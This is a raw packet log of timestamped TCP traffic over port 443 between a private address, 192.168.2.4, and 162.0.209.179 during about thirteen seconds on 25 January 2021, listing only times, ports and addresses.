Jan 25, 2021 21:14:10.178855896 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:10.178992987 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:10.292906046 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:10.497347116 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:10.502243042 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:10.502537012 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:10.504468918 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:10.748087883 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:10.825592995 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:10.825653076 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:10.825695038 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:10.825735092 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:10.825773954 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:10.825812101 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:10.825915098 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:10.826028109 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:10.827450991 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:10.827753067 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:10.933686972 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:11.138089895 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:11.144176960 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:11.144299030 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:11.145075083 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:11.389642954 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:11.490961075 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:11.491005898 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:11.491039991 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:11.491074085 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:11.491080046 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:11.491103888 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:11.491137981 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:11.491139889 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:11.491229057 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:11.492366076 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:11.492553949 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:11.604962111 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:11.809410095 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:11.814496040 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:11.814678907 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:11.815824986 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:12.060235977 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:12.143069029 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:12.143102884 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:12.143116951 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:12.143134117 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:12.143151045 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:12.143167019 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:12.143276930 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:12.143320084 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:12.144912004 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:12.145056009 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:12.261182070 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:12.465769053 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:12.470792055 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:12.470956087 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:12.472090006 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:12.716674089 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:12.809032917 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:12.809063911 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:12.809075117 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:12.809089899 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:12.809120893 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:12.809142113 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:12.809182882 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:12.809227943 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:12.810966969 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:12.811069012 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:12.917924881 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:13.122911930 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:13.130027056 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:13.130134106 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:13.131170988 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:13.375890017 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:13.464561939 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:13.464591980 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:13.464612961 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:13.464637041 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:13.464644909 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:13.464660883 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:13.464687109 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:13.464689016 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:13.464708090 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:13.464744091 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:13.466250896 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:13.466325045 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:13.574495077 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:13.778980017 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:13.783803940 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:13.783993006 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:13.785172939 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:14.029033899 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:14.106431961 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:14.106462955 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:14.106478930 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:14.106499910 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:14.106518030 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:14.106528997 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:14.106535912 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:14.106559038 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:14.106617928 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:14.108346939 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:14.108417988 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:14.214463949 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:14.419085026 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:14.424069881 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:14.424132109 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:14.425151110 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:14.670156002 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:14.759874105 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:14.759907961 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:14.759919882 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:14.759932041 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:14.759951115 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:14.759964943 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:14.760135889 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:14.761827946 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:14.761945009 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:14.871505976 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:15.076052904 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:15.080861092 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:15.081008911 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:15.082078934 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:15.326772928 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:15.401096106 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:15.401124001 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:15.401141882 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:15.401158094 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:15.401174068 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:15.401190042 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:15.401192904 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:15.401227951 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:15.401233912 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:15.404268026 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:15.404336929 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:15.512367964 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:15.719165087 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:15.724435091 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:15.724607944 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:15.725641012 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:15.972528934 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:16.042015076 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:16.042058945 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:16.042083979 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:16.042108059 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:16.042130947 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:16.042155027 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:16.042248964 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:16.042350054 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:16.045547009 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:16.045703888 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:16.152199030 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:16.357047081 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:16.361804962 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:16.361958981 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:16.366175890 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:16.610827923 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:16.686398029 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:16.686455011 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:16.686487913 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:16.686517000 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:16.686543941 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:16.686572075 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:16.686599970 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:16.686645985 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:16.686650991 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:16.690287113 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:16.690393925 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:16.792892933 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:16.997534990 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:17.002608061 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:17.002748966 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:17.005009890 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:17.249716997 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:17.337558031 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:17.337583065 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:17.337599039 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:17.337615967 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:17.337631941 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:17.337651968 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:17.337662935 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:17.337708950 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:17.338778973 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:17.338870049 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:17.450362921 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:17.654891014 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:17.658477068 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:17.658598900 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:17.659593105 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:17.904655933 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:17.994707108 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:17.994738102 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:17.994750977 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:17.994762897 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:17.994784117 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:17.994801044 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:17.994935036 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:17.995433092 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:17.995652914 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:18.105503082 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:18.310543060 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:18.316050053 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:18.316236973 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:18.318485022 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:18.563993931 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:18.639267921 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:18.639309883 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:18.639319897 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:18.639329910 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:18.639349937 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:18.639358044 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:18.639368057 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:18.639391899 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:18.639398098 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:18.639431000 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:18.641279936 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:18.641356945 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:18.746937990 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:18.952842951 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:18.957048893 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:18.957123995 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:18.958614111 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:19.204099894 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:19.278594971 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:19.278635979 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:19.278661013 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:19.278686047 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:19.278704882 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:19.278717995 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:19.278732061 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:19.278755903 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:19.278770924 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:19.278786898 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:19.278842926 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:19.280489922 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:19.280575037 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:19.386786938 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:19.592170954 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:19.597897053 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:19.598249912 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:19.599031925 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:19.843758106 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:19.919529915 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:19.919565916 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:19.919584036 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:19.919600010 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:19.919615984 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:19.919632912 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:19.919708967 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:19.919748068 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:19.921686888 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:19.924614906 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:20.027235031 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:20.231945038 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:20.237577915 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:20.240613937 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:20.241519928 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:20.486871004 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:20.564575911 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:20.564630985 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:20.564668894 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:20.564704895 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:20.564752102 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:20.564812899 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:20.564856052 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:20.564896107 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:20.566714048 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:20.566852093 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:20.701576948 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:20.905972958 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:20.911125898 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:20.912134886 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:20.914037943 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:21.158046007 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:21.240355015 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:21.240405083 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:21.240443945 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:21.240463972 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:21.240483999 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:21.240497112 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:21.240516901 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:21.240525007 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:21.240565062 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:21.240566015 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:21.240582943 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:21.240626097 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:21.242306948 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:21.243180037 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:21.356234074 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:21.560849905 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:21.565474987 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:21.565778017 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:21.567629099 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:21.812819004 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:21.894045115 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:21.894105911 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:21.894155025 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:21.894187927 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:21.894217968 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:21.894248962 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:21.894305944 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:21.894377947 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:21.895201921 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:21.895343065 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:22.011790037 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:22.216465950 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:22.222755909 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:22.222830057 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:22.227972031 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:22.473397970 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:22.544701099 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:22.544740915 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:22.544763088 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:22.544783115 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:22.544802904 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:22.544826984 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:22.544858932 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:22.544934034 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:22.546624899 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:22.547920942 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:22.652578115 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:22.857140064 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:22.861773014 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:22.864018917 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:22.864784002 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:23.109041929 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:23.189140081 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:23.189191103 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:23.189239025 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:23.189308882 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:23.189349890 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:23.189392090 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:23.189433098 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:23.189435005 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:23.190856934 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:23.190952063 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:23.308783054 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:23.513828039 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:23.521188021 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:14:23.521416903 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:14:23.522170067 CET	49745	443	192.168.2.4	162.0.209.179
